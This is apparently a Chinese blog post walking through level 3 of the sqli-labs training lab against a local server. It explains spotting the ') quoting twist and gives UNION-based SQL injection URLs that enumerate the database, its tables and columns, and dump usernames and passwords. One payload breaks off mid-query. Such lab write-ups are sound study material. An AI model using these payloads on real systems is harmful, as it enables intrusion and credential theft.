Sqli-labs 3

1.找注入点

 

这一关的名字叫做 quotes with twist ,扭曲的引号,为什么这么说呢,

我们先来看看测试报错,后面加上双引号,可以看到没报错

 

 

后面加上' 报错,这里不注意看这个报错信息的话,找到注入点直接上payload会发现还是报错

 

 

这里就出现所谓的扭曲了,注意看报错返回的),括号,在sql语法中加入了(),对传入参数$id的引用

 

 

来看看源码,果然是有括号的

 

 

 

 2.构造payload

 接下来就可以根据这点来构造payload了,之前我们已经知道他查询是3个字段了,就不在从头开始探查了

http://127.0.0.1/sql/Less-3/?id=-2') union select 1,2,3 --+

 

 

 

 

爆数据库名

http://127.0.0.1/sql/Less-3/?id=-2') union select 1,database(),(select group_concat(schema_name) from 

 

 

 

 爆表名

http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(table_name) from information_schema.tables where
 table_schema = "security") --+

 

 

爆字段

http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(column_name) from information_schema.columns where
 table_name = "users") --+

 

 

 

 爆数据

http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(username,0x3a,password) from users ) --+

 

 

 

最关键的还是要找到注入点和绕过方式~~

 

posted @ 2021-08-23 09:49  Erichas  阅读(64)  评论(0编辑  收藏  举报